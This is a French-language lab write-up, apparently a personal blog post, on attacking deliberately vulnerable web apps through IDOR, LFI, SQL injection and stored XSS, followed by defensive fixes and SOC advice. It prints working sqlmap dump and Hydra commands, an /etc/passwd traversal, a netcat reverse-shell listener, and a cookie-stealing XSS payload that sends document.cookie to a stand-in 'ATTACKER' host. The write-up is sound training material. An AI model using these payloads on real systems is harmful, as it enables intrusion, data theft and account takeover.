Skip to main content

Web Application Pentest Lab - IDOR, LFI, SQLi and Stored XSS

·5 mins
Post Web Pentest Burp Suite IDOR LFI SQL Injection XSS Session Hijacking OWASP Defensive Security
Rai2en
Author
Rai2en
Breaking things to understand them.
Table of Contents
CyberLabs - This article is part of a series.
Part : This Article

Introduction
#

Ce projet transforme un ensemble de labs web en un projet personnel complet autour du pentest applicatif.

L’objectif est de documenter plusieurs scénarios d’exploitation web réalistes, depuis la manipulation de requêtes HTTP jusqu’à la compromission d’un compte administrateur via XSS stockée.

Les exercices couvrent plusieurs familles de vulnérabilités OWASP:

  • mauvaise gestion des contrôles d’accès
  • injection SQL
  • inclusion de fichiers locaux
  • XSS stockée
  • session hijacking
  • exposition de secrets applicatifs

Environnement
#

Les applications vulnérables sont exposées via plusieurs virtual hosts locaux:

  • tp1.esdown.local
  • tp2.esdown.local
  • tp3.esdown.local
  • tp4.esdown.local

Les plateformes d’entraînement utilisées incluent notamment:

  • bWAPP
  • DVWA
  • OWASP Juice Shop
  • OWASP WebGoat
  • applications custom vulnérables

Outils utilisés:

OutilUsage
Burp Suiteinterception, modification et rejeu de requêtes
Gobusterdécouverte de répertoires et fichiers
Hydratest contrôlé de brute force
SQLMapexploitation automatisée SQLi
Netcatreverse shell
Meterpreterpost-exploitation en lab
Browser DevToolsanalyse client-side

TP1 - Manipulation avancée de requêtes HTTP
#

Le premier scénario vise à comprendre la mécanique HTTP en profondeur.

Objectifs:

  • intercepter une requête
  • modifier la méthode HTTP
  • manipuler les headers
  • ajouter un paramètre POST
  • contourner une logique applicative faible

Interception avec Burp Suite
#

Burp Suite est configuré comme proxy HTTP.

La requête est interceptée, puis analysée:

GET /challenge HTTP/1.1
Host: tp1.esdown.local
User-Agent: Mozilla/5.0

Modification de méthode
#

Une logique applicative peut parfois dépendre uniquement de la méthode utilisée.

Exemple:

POST /challenge HTTP/1.1
Host: tp1.esdown.local
Content-Type: application/x-www-form-urlencoded

Manipulation des headers
#

Headers testés:

User-Agent: admin
Referer: http://tp1.esdown.local/admin
Content-Type: application/x-www-form-urlencoded

Ce type d’exercice montre pourquoi les headers client ne doivent jamais être utilisés comme source de confiance.

TP2 - Chaîne d’exploitation web complète
#

Le second scénario combine plusieurs vulnérabilités dans une chaîne d’attaque.

Chaîne simplifiée:

  1. création d’un utilisateur
  2. découverte d’endpoints
  3. exploitation d’une IDOR
  4. exploitation d’une LFI
  5. tentative de RFI
  6. reverse shell
  7. post-exploitation
  8. exfiltration contrôlée du code source
  9. analyse de secrets
  10. exploration système

Énumération
#

Découverte de répertoires:

gobuster dir -u http://tp2.esdown.local/ \
  -w /usr/share/wordlists/dirb/big.txt \
  -x php -b 400,401,403,404

Objectifs:

  • trouver les pages cachées
  • identifier les endpoints utilisateurs
  • repérer les fichiers PHP
  • comprendre les rôles et flux applicatifs

IDOR - Insecure Direct Object Reference
#

Une IDOR apparaît lorsqu’une ressource est accessible via un identifiant modifiable sans contrôle d’autorisation suffisant.

Exemple conceptuel:

GET /profile.php?id=2 HTTP/1.1
Host: tp2.esdown.local

Si un utilisateur peut changer id=2 en id=1 et accéder au profil d’un autre utilisateur, l’application présente une faille de contrôle d’accès.

Impact:

  • fuite de données utilisateurs
  • accès à des objets non autorisés
  • escalade fonctionnelle

LFI - Local File Inclusion
#

Une LFI permet de lire des fichiers locaux depuis le serveur.

Exemple conceptuel:

GET /view.php?page=../../../../etc/passwd HTTP/1.1
Host: tp2.esdown.local

Fichiers intéressants en lab:

/etc/passwd
/var/www/html/config.php
/var/log/apache2/access.log

Risques:

  • fuite de code source
  • exposition de credentials
  • pivot vers RCE si les logs ou uploads sont exploitables

Reverse shell et post-exploitation
#

Après identification d’un chemin exploitable, un reverse shell peut être déclenché en environnement contrôlé.

Listener:

nc -lvnp 4444

Stabilisation:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Post-exploitation:

id
hostname
pwd
ls -la
find /var/www -type f -name "*.php"

Analyse du code source
#

L’accès au code source permet de comprendre la logique applicative et de retrouver des secrets.

Points à rechercher:

  • identifiants hardcodés
  • clés API
  • secrets JWT
  • credentials base de données
  • fonctions dangereuses (eval, system, exec)
  • absence de validation serveur

TP3 - SQL Injection
#

Le troisième scénario se concentre sur une injection SQL.

Objectifs:

  • détecter une injection
  • contourner une authentification
  • énumérer la base
  • extraire des données sensibles
  • comprendre l’impact métier

Test manuel
#

Payload classique:

' OR '1'='1

Exemple dans un champ login:

admin' OR '1'='1-- -

Exploitation avec SQLMap
#

sqlmap -u "http://tp3.esdown.local/login.php" \
  --data="username=test&password=test" \
  --batch --dbs

Énumération:

sqlmap -u "http://tp3.esdown.local/login.php" --data="username=test&password=test" --tables
sqlmap -u "http://tp3.esdown.local/login.php" --data="username=test&password=test" -T users --dump

Impact:

  • contournement d’authentification
  • extraction d’utilisateurs
  • extraction de partenaires ou données métier
  • risque de compromission complète si le compte DB est trop privilégié

TP4 - XSS stockée et compromission admin
#

Le quatrième scénario documente une XSS stockée menant au vol de cookie administrateur.

Force brute contrôlée
#

Une tentative Hydra est réalisée contre le formulaire de login, mais ne donne pas de résultat valide.

hydra -l admin -P admin-pass.txt tp4.esdown.local http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"

Cela confirme que la compromission ne vient pas d’un mot de passe faible dans ce scénario.

Découverte de la XSS stockée
#

Une zone de commentaire ou de profil accepte du HTML/JavaScript sans encodage correct.

Payload de test:

<script>alert(1)</script>

Si le script se rejoue lors de la consultation par un autre utilisateur, la faille est stockée.

Vol de cookie en lab#

Payload conceptuel:

<script>
fetch('http://ATTACKER:8000/?c=' + document.cookie)
</script>

Listener:

python3 -m http.server 8000

Impact:

  • vol de session
  • usurpation du compte administrateur
  • modification de mot de passe
  • accès à des fonctions privilégiées

Session hijacking
#

Une fois le cookie récupéré dans le lab, il est réinjecté dans le navigateur.

Étapes:

  1. récupérer la valeur du cookie
  2. ouvrir DevTools
  3. remplacer le cookie de session
  4. recharger la page admin

Résultat attendu:

  • accès administrateur sans connaître le mot de passe

Vulnérabilités identifiées
#

VulnérabilitéImpactCorrection
IDORaccès à des ressources non autoriséesvérifier les droits côté serveur
LFIlecture de fichiers locauxwhitelist stricte des fichiers autorisés
SQLiextraction DB / bypass authrequêtes préparées
XSS stockéevol de session adminoutput encoding + CSP
session faiblehijackingcookies HttpOnly, Secure, SameSite

Recommandations défensives
#

Côté développement
#

  • utiliser des requêtes préparées
  • encoder toutes les sorties HTML
  • valider les entrées côté serveur
  • centraliser les contrôles d’autorisation
  • ne jamais faire confiance aux headers client

Côté infrastructure
#

  • isoler les applications vulnérables
  • protéger les interfaces admin
  • durcir les cookies
  • journaliser les actions sensibles
  • détecter les patterns d’exploitation

Côté SOC
#

À surveiller:

  • payloads SQLi dans les logs
  • <script> dans les champs utilisateurs
  • accès anormaux à /etc/passwd
  • création soudaine de sessions admin
  • requêtes vers IP externe depuis une page admin

Ce que ce projet m’a apporté
#

Ce projet m’a permis de travailler une chaîne web complète:

  • interception HTTP
  • exploitation manuelle
  • automatisation contrôlée
  • post-exploitation web
  • analyse de code source
  • raisonnement défensif OWASP

Conclusion
#

Ce lab montre qu’une application web vulnérable ne tombe pas toujours à cause d’une seule faille critique. C’est souvent l’enchaînement de faiblesses qui permet d’obtenir un impact majeur.

La correction doit donc combiner secure coding, contrôle d’accès, gestion de session, monitoring et tests réguliers.

CyberLabs - This article is part of a series.
Part : This Article